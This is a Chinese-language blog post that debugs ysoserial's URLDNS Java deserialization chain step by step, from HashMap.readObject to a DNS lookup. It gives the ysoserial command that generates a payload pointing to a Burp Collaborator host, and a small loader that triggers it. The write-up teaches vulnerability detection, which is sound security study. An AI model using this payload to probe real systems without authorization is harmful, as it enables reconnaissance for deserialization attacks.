URLDNS链反序列化调试
Java安全之URLDNS链分析
0x00 前言
作为一个java小白,最近学习了下ysoserial生成payload的原理,其中最容易入门学习的就是urldns链,也是在利用java反序列化漏洞时候用来判断是否存在漏洞的基础链。
0x01 原理分析
使用工具:idea
首先从github上下载ysoserial工具(https://github.com/frohoff/ysoserial),并导入idea.由于ysoserial依赖包较多,建议使用maven一次性下载完成。
调试步骤:
在pom.xml中,全局搜索mainclass,这里是入口点

通读代码可以发现,这里通过传参加载不同的payload模块生成我们需要的反序列化攻击payload
找到urldns攻击类,可以看到给出了对应的利用链:
我们直接去hashmap readobject类(java.util.HashMap#readObject)源码处putval下断点调试:
可以看到这里首先触发了hash(java.util.HashMap#hash)方法,跟进去看一下:
这里调用了hashcode(java.net.URL#hashCode)方法,跟进:
具体为啥这里hashCode是-1,我们看一下ysoserial生成payload的时候,使用反射将hashcode手动设置为了-1
继续往下看,可以看到调用了URLStreamHandler类的hashcode方法( java.net.URLStreamHandler#hashCode),跟进去看一下:
这里首先将url对象传进来,获取了protocol对应的协议为http,然后使用getHostAddress方法将对应域名地址转换为ip,简单跟进看一下:
调用url类的getHostAddress
可以看到这里调用了getByName方法,该方法用来将域名解析成ip,造成一次DNS请求
所以,要完成这个反序列化,首先要实例化一个hashmap对象,并初始化一个URL对象,作为key放在hashmap对象中,还要设置hashcode的值为-1,才能调用到后面的getHostAddress方法从而发起dns请求。
0x03 复现测试
生成payload:
java -jar ysoserial.jar URLDNS http://uwuwdq6i2zkw1m8p6ds4fomcp3vujj.burpcollaborator.net >out.bin
漏洞触发代码:
import java.io.ObjectInputStream; import java.io.FileInputStream; public class URLDNS { public static void main(String[] args) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\admin\\Desktop\\out.bin")); ois.readObject(); } }
收到DNS回显:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)